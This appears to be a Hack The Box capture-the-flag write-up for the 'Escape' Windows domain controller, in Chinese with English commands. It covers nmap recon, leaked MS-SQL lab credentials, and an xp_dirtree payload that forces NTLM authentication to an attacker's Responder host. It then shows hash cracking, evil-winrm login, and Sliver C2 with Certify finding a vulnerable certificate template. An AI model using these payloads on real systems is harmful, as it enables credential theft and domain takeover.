HTB - Escape

write-ups
20k 詞

圖片

User.txt

Enmu

Payload
sudo nmap -sS -sC -sV -oA save -p- -vv -T5 --min-rate=1000

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PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-17 13:49:16Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after:  2074-01-05T23:03:57
| MD5:     ee4c c647 ebb2 c23e f472 1d70 2880 9d82
| SHA-1:   d88d 12ae 8a50 fcf1 2242 909e 3dd7 5cff 92d1 a480
| SHA-256: 9b16 318b 7bc0 f508 b5cd 98a5 3a80 d1d7 54e1 e158 45b1 4956 003b 4bb5 05f8 7f98
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwIBcNMjQwMTE4MjMwMzU3WhgPMjA3NDAx
| MDUyMzAzNTdaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvfUDG
| vZbf6oLv67FXEoeqi+VUDMwFcCWGOpwAlEvMCRhMa2Jqx6nVSl+7URU0rF43c58A
| kAFbwX9E5B4Me4ZDkqkHV5nBBkHEPdDP4ZlYsjAmVrz7bHAzp3coDgF9UKv9S4j8
| g9P8MPaOdxTRR6dwkhVWdIDvIevjeg7oWTawG7MFEX4b7BEwL/uNRYZtyFHrfmzP
| BL5MovrBbZzU4AnggnvpeiLNdenK9Xcp2IIDr8A7h7uFuQ+3pCbXL9El/vEgzxAj
| rsUhf2e6nxNAWrNZSFXLHREt9uFkhTWU26Zoa675Vjq0XNy7J+rXAZiU5q3eD4Kq
| /SiN+ZDAwWJ22XGJAgMBAAGjggK8MIICuDA4BgkrBgEEAYI3FQcEKzApBiErBgEE
| AYI3FQiHq/N2hdymVof9lTWDv8NZg4nKNYF3ASECAW4CAQIwMgYDVR0lBCswKQYI
| KwYBBQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB
| /wQEAwIFoDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMB
| MAwGCisGAQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCVbgZp4lOmGws1z7
| bP3InfTiHiMwHwYDVR0jBBgwFoAUYp8yo6DwOCDUYMDNbcX6UTBewxUwgcQGA1Ud
| HwSBvDCBuTCBtqCBs6CBsIaBrWxkYXA6Ly8vQ049c2VxdWVsLURDLUNBLENOPWRj
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPXNlcXVlbCxEQz1odGI/Y2VydGlmaWNhdGVSZXZv
| Y2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50
| MIG9BggrBgEFBQcBAQSBsDCBrTCBqgYIKwYBBQUHMAKGgZ1sZGFwOi8vL0NOPXNl
| cXVlbC1EQy1DQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zZXF1ZWwsREM9aHRiP2NBQ2Vy
| dGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5
| MC8GA1UdEQEB/wQlMCOCDWRjLnNlcXVlbC5odGKCCnNlcXVlbC5odGKCBnNlcXVl
| bDANBgkqhkiG9w0BAQsFAAOCAQEAK2aJVbODF+3XQ85GflrcPthxILDslZoJff13
| ULw9IQRwFbr5wV/usQR8WXfp4FGWB7g6F3w4vOo8Wnm0eTcQM+N2Ry3aEWiv9SG8
| /Vk18Z1sSU2hzlTdZbVJWgZwCyPvYoV02uPkP12f+Z9groRTtOEBq0AgdMDc5hZ/
| A8Ikn9UuctvkX6qgw+ofyVveIqsE0GL6DCDGw6iUmXIgVJk5fgQnfyQquqnmhVnA
| 8NoXXuh0ioTHmCqYrdtIcB8KC4nS70p3ef2F2fTNejqtw46M04VZQw/67Y+83hI5
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2026-04-17T13:50:45+00:00; +8h00m00s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-17T13:50:45+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after:  2074-01-05T23:03:57
| MD5:     ee4c c647 ebb2 c23e f472 1d70 2880 9d82
| SHA-1:   d88d 12ae 8a50 fcf1 2242 909e 3dd7 5cff 92d1 a480
| SHA-256: 9b16 318b 7bc0 f508 b5cd 98a5 3a80 d1d7 54e1 e158 45b1 4956 003b 4bb5 05f8 7f98
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwIBcNMjQwMTE4MjMwMzU3WhgPMjA3NDAx
| MDUyMzAzNTdaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvfUDG
| vZbf6oLv67FXEoeqi+VUDMwFcCWGOpwAlEvMCRhMa2Jqx6nVSl+7URU0rF43c58A
| kAFbwX9E5B4Me4ZDkqkHV5nBBkHEPdDP4ZlYsjAmVrz7bHAzp3coDgF9UKv9S4j8
| g9P8MPaOdxTRR6dwkhVWdIDvIevjeg7oWTawG7MFEX4b7BEwL/uNRYZtyFHrfmzP
| BL5MovrBbZzU4AnggnvpeiLNdenK9Xcp2IIDr8A7h7uFuQ+3pCbXL9El/vEgzxAj
| rsUhf2e6nxNAWrNZSFXLHREt9uFkhTWU26Zoa675Vjq0XNy7J+rXAZiU5q3eD4Kq
| /SiN+ZDAwWJ22XGJAgMBAAGjggK8MIICuDA4BgkrBgEEAYI3FQcEKzApBiErBgEE
| AYI3FQiHq/N2hdymVof9lTWDv8NZg4nKNYF3ASECAW4CAQIwMgYDVR0lBCswKQYI
| KwYBBQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB
| /wQEAwIFoDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMB
| MAwGCisGAQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCVbgZp4lOmGws1z7
| bP3InfTiHiMwHwYDVR0jBBgwFoAUYp8yo6DwOCDUYMDNbcX6UTBewxUwgcQGA1Ud
| HwSBvDCBuTCBtqCBs6CBsIaBrWxkYXA6Ly8vQ049c2VxdWVsLURDLUNBLENOPWRj
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPXNlcXVlbCxEQz1odGI/Y2VydGlmaWNhdGVSZXZv
| Y2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50
| MIG9BggrBgEFBQcBAQSBsDCBrTCBqgYIKwYBBQUHMAKGgZ1sZGFwOi8vL0NOPXNl
| cXVlbC1EQy1DQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zZXF1ZWwsREM9aHRiP2NBQ2Vy
| dGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5
| MC8GA1UdEQEB/wQlMCOCDWRjLnNlcXVlbC5odGKCCnNlcXVlbC5odGKCBnNlcXVl
| bDANBgkqhkiG9w0BAQsFAAOCAQEAK2aJVbODF+3XQ85GflrcPthxILDslZoJff13
| ULw9IQRwFbr5wV/usQR8WXfp4FGWB7g6F3w4vOo8Wnm0eTcQM+N2Ry3aEWiv9SG8
| /Vk18Z1sSU2hzlTdZbVJWgZwCyPvYoV02uPkP12f+Z9groRTtOEBq0AgdMDc5hZ/
| A8Ikn9UuctvkX6qgw+ofyVveIqsE0GL6DCDGw6iUmXIgVJk5fgQnfyQquqnmhVnA
| 8NoXXuh0ioTHmCqYrdtIcB8KC4nS70p3ef2F2fTNejqtw46M04VZQw/67Y+83hI5
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
1433/tcp  open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
|   10.129.228.253:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2026-04-17T13:50:45+00:00; +8h00m00s from scanner time.
| ms-sql-ntlm-info:
|   10.129.228.253:1433:
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: dc.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T13:33:46
| Not valid after:  2056-04-17T13:33:46
| MD5:     ccef 8f09 7e95 582a 67e9 3325 075b f8bd
| SHA-1:   3ecb 2b1f 5e28 a593 884d d6cb bfc9 78ad 8c1b f4c5
| SHA-256: 00cf 0b9b 8716 e912 aa38 54c8 b7dd f59c 005b 9ed6 6917 701a 3f84 3ac5 2af2 4968
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQMPW3ivCLWI1BJzPjDIM64jANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwNDE3MTMzMzQ2WhgPMjA1NjA0MTcxMzMzNDZaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPIFOzfN
| BUhbOSKQI9DnNvtuSLZz3kGMdkj/YpG9x0Tp9I50hQW+pH/+zi9iDEeH2eOQiHT4
| LIcapByLfJSLKGY2L4iqC3gEIkZvtQqnP6CUPBBmy+Tx3FLxc1qOi1upNJyon1up
| yLeRQCqGZud/t5qEmz1BgXLsgxNS5X0eAZj1MlcbpWePntb5qjkDi8ojYZTvV0q/
| 5m+dqOWdvohy4u7aqlriN8G85D6hNWKX2NpIz2l+vpfCdcjSbTD5bTB6Sns7nxlJ
| itaMuuVyKoNd7n1cqeiwKSI+JNWW1A2PjbUXzKKnOJT/0ppFgvW3/QfVz143YO2t
| 8Q3Xzj5VjWqxYGUCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEA0VRqqQ1cvrQC6DLx
| /BiIiRLp4VwklicuIQxX/FXZFnxghVs9Ktqy5OSc7EkO5iVZLq6uBWjBx/izaSUD
| xibB3CUcZ19BeKfLtzGtvU1gi18/xbcQYWDOU3nj117TNj/7SZH2oqitFDYwe6cX
| J1fT6r4K3tCTQ63DfBAI6HpWgMGUNURBI+kbojlnALM43/6TxJO9lpiB82AWKL7z
| SRKcTmi4qe4YsAxSEorbrrmrHKwrKak5E/F2xCPcSIHtvk4BweexP2+DJ0FSg1Yv
| hWl7rrGzCikKblkBkjCRPlNL0WDLnwWwhtWWvprk5r4eHgFGP0bpJIZ8ynrme9fQ
| GrbzDQ==
|_-----END CERTIFICATE-----
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after:  2074-01-05T23:03:57
| MD5:     ee4c c647 ebb2 c23e f472 1d70 2880 9d82
| SHA-1:   d88d 12ae 8a50 fcf1 2242 909e 3dd7 5cff 92d1 a480
| SHA-256: 9b16 318b 7bc0 f508 b5cd 98a5 3a80 d1d7 54e1 e158 45b1 4956 003b 4bb5 05f8 7f98
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwIBcNMjQwMTE4MjMwMzU3WhgPMjA3NDAx
| MDUyMzAzNTdaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvfUDG
| vZbf6oLv67FXEoeqi+VUDMwFcCWGOpwAlEvMCRhMa2Jqx6nVSl+7URU0rF43c58A
| kAFbwX9E5B4Me4ZDkqkHV5nBBkHEPdDP4ZlYsjAmVrz7bHAzp3coDgF9UKv9S4j8
| g9P8MPaOdxTRR6dwkhVWdIDvIevjeg7oWTawG7MFEX4b7BEwL/uNRYZtyFHrfmzP
| BL5MovrBbZzU4AnggnvpeiLNdenK9Xcp2IIDr8A7h7uFuQ+3pCbXL9El/vEgzxAj
| rsUhf2e6nxNAWrNZSFXLHREt9uFkhTWU26Zoa675Vjq0XNy7J+rXAZiU5q3eD4Kq
| /SiN+ZDAwWJ22XGJAgMBAAGjggK8MIICuDA4BgkrBgEEAYI3FQcEKzApBiErBgEE
| AYI3FQiHq/N2hdymVof9lTWDv8NZg4nKNYF3ASECAW4CAQIwMgYDVR0lBCswKQYI
| KwYBBQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB
| /wQEAwIFoDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMB
| MAwGCisGAQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCVbgZp4lOmGws1z7
| bP3InfTiHiMwHwYDVR0jBBgwFoAUYp8yo6DwOCDUYMDNbcX6UTBewxUwgcQGA1Ud
| HwSBvDCBuTCBtqCBs6CBsIaBrWxkYXA6Ly8vQ049c2VxdWVsLURDLUNBLENOPWRj
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPXNlcXVlbCxEQz1odGI/Y2VydGlmaWNhdGVSZXZv
| Y2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50
| MIG9BggrBgEFBQcBAQSBsDCBrTCBqgYIKwYBBQUHMAKGgZ1sZGFwOi8vL0NOPXNl
| cXVlbC1EQy1DQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zZXF1ZWwsREM9aHRiP2NBQ2Vy
| dGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5
| MC8GA1UdEQEB/wQlMCOCDWRjLnNlcXVlbC5odGKCCnNlcXVlbC5odGKCBnNlcXVl
| bDANBgkqhkiG9w0BAQsFAAOCAQEAK2aJVbODF+3XQ85GflrcPthxILDslZoJff13
| ULw9IQRwFbr5wV/usQR8WXfp4FGWB7g6F3w4vOo8Wnm0eTcQM+N2Ry3aEWiv9SG8
| /Vk18Z1sSU2hzlTdZbVJWgZwCyPvYoV02uPkP12f+Z9groRTtOEBq0AgdMDc5hZ/
| A8Ikn9UuctvkX6qgw+ofyVveIqsE0GL6DCDGw6iUmXIgVJk5fgQnfyQquqnmhVnA
| 8NoXXuh0ioTHmCqYrdtIcB8KC4nS70p3ef2F2fTNejqtw46M04VZQw/67Y+83hI5
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2026-04-17T13:50:45+00:00; +8h00m00s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after:  2074-01-05T23:03:57
| MD5:     ee4c c647 ebb2 c23e f472 1d70 2880 9d82
| SHA-1:   d88d 12ae 8a50 fcf1 2242 909e 3dd7 5cff 92d1 a480
| SHA-256: 9b16 318b 7bc0 f508 b5cd 98a5 3a80 d1d7 54e1 e158 45b1 4956 003b 4bb5 05f8 7f98
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwIBcNMjQwMTE4MjMwMzU3WhgPMjA3NDAx
| MDUyMzAzNTdaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvfUDG
| vZbf6oLv67FXEoeqi+VUDMwFcCWGOpwAlEvMCRhMa2Jqx6nVSl+7URU0rF43c58A
| kAFbwX9E5B4Me4ZDkqkHV5nBBkHEPdDP4ZlYsjAmVrz7bHAzp3coDgF9UKv9S4j8
| g9P8MPaOdxTRR6dwkhVWdIDvIevjeg7oWTawG7MFEX4b7BEwL/uNRYZtyFHrfmzP
| BL5MovrBbZzU4AnggnvpeiLNdenK9Xcp2IIDr8A7h7uFuQ+3pCbXL9El/vEgzxAj
| rsUhf2e6nxNAWrNZSFXLHREt9uFkhTWU26Zoa675Vjq0XNy7J+rXAZiU5q3eD4Kq
| /SiN+ZDAwWJ22XGJAgMBAAGjggK8MIICuDA4BgkrBgEEAYI3FQcEKzApBiErBgEE
| AYI3FQiHq/N2hdymVof9lTWDv8NZg4nKNYF3ASECAW4CAQIwMgYDVR0lBCswKQYI
| KwYBBQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB
| /wQEAwIFoDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMB
| MAwGCisGAQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCVbgZp4lOmGws1z7
| bP3InfTiHiMwHwYDVR0jBBgwFoAUYp8yo6DwOCDUYMDNbcX6UTBewxUwgcQGA1Ud
| HwSBvDCBuTCBtqCBs6CBsIaBrWxkYXA6Ly8vQ049c2VxdWVsLURDLUNBLENOPWRj
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPXNlcXVlbCxEQz1odGI/Y2VydGlmaWNhdGVSZXZv
| Y2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50
| MIG9BggrBgEFBQcBAQSBsDCBrTCBqgYIKwYBBQUHMAKGgZ1sZGFwOi8vL0NOPXNl
| cXVlbC1EQy1DQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zZXF1ZWwsREM9aHRiP2NBQ2Vy
| dGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5
| MC8GA1UdEQEB/wQlMCOCDWRjLnNlcXVlbC5odGKCCnNlcXVlbC5odGKCBnNlcXVl
| bDANBgkqhkiG9w0BAQsFAAOCAQEAK2aJVbODF+3XQ85GflrcPthxILDslZoJff13
| ULw9IQRwFbr5wV/usQR8WXfp4FGWB7g6F3w4vOo8Wnm0eTcQM+N2Ry3aEWiv9SG8
| /Vk18Z1sSU2hzlTdZbVJWgZwCyPvYoV02uPkP12f+Z9groRTtOEBq0AgdMDc5hZ/
| A8Ikn9UuctvkX6qgw+ofyVveIqsE0GL6DCDGw6iUmXIgVJk5fgQnfyQquqnmhVnA
| 8NoXXuh0ioTHmCqYrdtIcB8KC4nS70p3ef2F2fTNejqtw46M04VZQw/67Y+83hI5
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2026-04-17T13:50:45+00:00; +8h00m00s from scanner time.
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49693/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49694/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49706/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
53802/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
56348/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 29662/tcp): CLEAN (Timeout)
|   Check 2 (port 27068/tcp): CLEAN (Timeout)
|   Check 3 (port 12096/udp): CLEAN (Timeout)
|   Check 4 (port 41592/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
| smb2-time:
|   date: 2026-04-17T13:50:08
|_  start_date: N/A

AD 資訊

dc.sequel.htb sequel.htb sequel => 目標ip
commonName = sequel-DC-CA
domainComponent = sequel

SMB Recon

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用匿名登入 SMB 找尋公共分享的區塊有沒有外洩的文件發現一組能登入 MS-SQL 的帳號利用以下帳號登入並且嘗試取得控制沒辦法後嘗試看看使用 NTLM Hash Stealing 攻擊取得運行服務的帳號密碼 Hash

PublicUser:GuestUserCantWrite1

Payload : impacket-mssqlclient PublicUser:GuestUserCantWrite1@sequel.htb
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嘗試 xp_cmdshell 直接 RCE 失敗 , 嘗試其他辦法

NTLM Hash Stealing

用 responder 架設一個虛擬服務並且監聽受害者主機的請求執行下述 Payload 能讓 MS-SQL 使用目前運行資料庫軟體的帳戶嘗試登入和訪問攻擊者的文件內容進而留下該受害者帳戶的 Hash 和 username

Payload : EXEC MASTER.sys.xp_dirtree '\\10.10.14.17\meow',1,1
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Payload : sudo responder -I tun0
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Crack Password Hash

下圖展示了 Responder 接收到的封包 , 通過 john 使用字典黨 rockyou.txt 破解圖片
取得一組帳號密碼
sql_svc:REGGIE1234ronnie

登入後提權

目前只是運行 MS-SQL 的帳號 , 權限非常低所以要想辦法提權

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既然是執行 MS-SQL 的帳號 , 那應該去搜尋 SQLSERVER 資料夾底下的文件會比較有收穫

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查看 ErrorLog 發現 Ryan.Cooper 有兩次登入失敗的紀錄看起來像是把密碼打成帳號所以密碼被明文暴露在了 LOG 文件裡面

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嘗試登入

Payload:evil-winrm -u Ryan.Cooper -p NuclearMosquito3 -i 10.129.228.253

D0ne ! Get User.txt

Root.txt

提權

Certify

上傳 Sliver C2 Payload 執行 Certify

Payload:certify find /vulnerable
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[server] sliver > use eee22e35

[*] Active session THIRSTY_SNAIL (eee22e35-f76d-4d76-82bc-25c01f54b643)

[server] sliver (THIRSTY_SNAIL) > certify find /vulnerable

[*] certify output:

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.1.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=sequel,DC=htb'

[*] Listing info about the Enterprise CA 'sequel-DC-CA'

    Enterprise CA Name            : sequel-DC-CA
    DNS Hostname                  : dc.sequel.htb
    FullName                      : dc.sequel.htb\sequel-DC-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=sequel-DC-CA, DC=sequel, DC=htb
    Cert Thumbprint               : A263EA89CAFE503BB33513E359747FD262F91A56
    Cert Serial                   : 1EF2FA9A7E6EADAD4F5382F4CE283101
    Cert Start Date               : 11/18/2022 12:58:46 PM
    Cert End Date                 : 11/18/2121 1:08:46 PM
    Cert Chain                    : CN=sequel-DC-CA,DC=sequel,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
      Allow  ManageCA, ManageCertificates               sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
    Enrollment Agent Restrictions : None

[!] Vulnerable Certificates Templates :

    CA Name                               : dc.sequel.htb\sequel-DC-CA
    Template Name                         : UserAuthentication
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Encrypting File System, Secure Email
    mspki-certificate-application-policy  : Client Authentication, Encrypting File System, Secure Email
    Permissions
      Enrollment Permissions
        Enrollment Rights           : sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Domain Users           S-1-5-21-4078382237-1492182817-2568127209-513
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
        WriteOwner Principals       : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519

Certify 找到有風險的地方
1 . Template Name : UserAuthentication
2 . msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

並且可以看到連一般使用者都能找 CA 申請憑證簽章

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Permissions
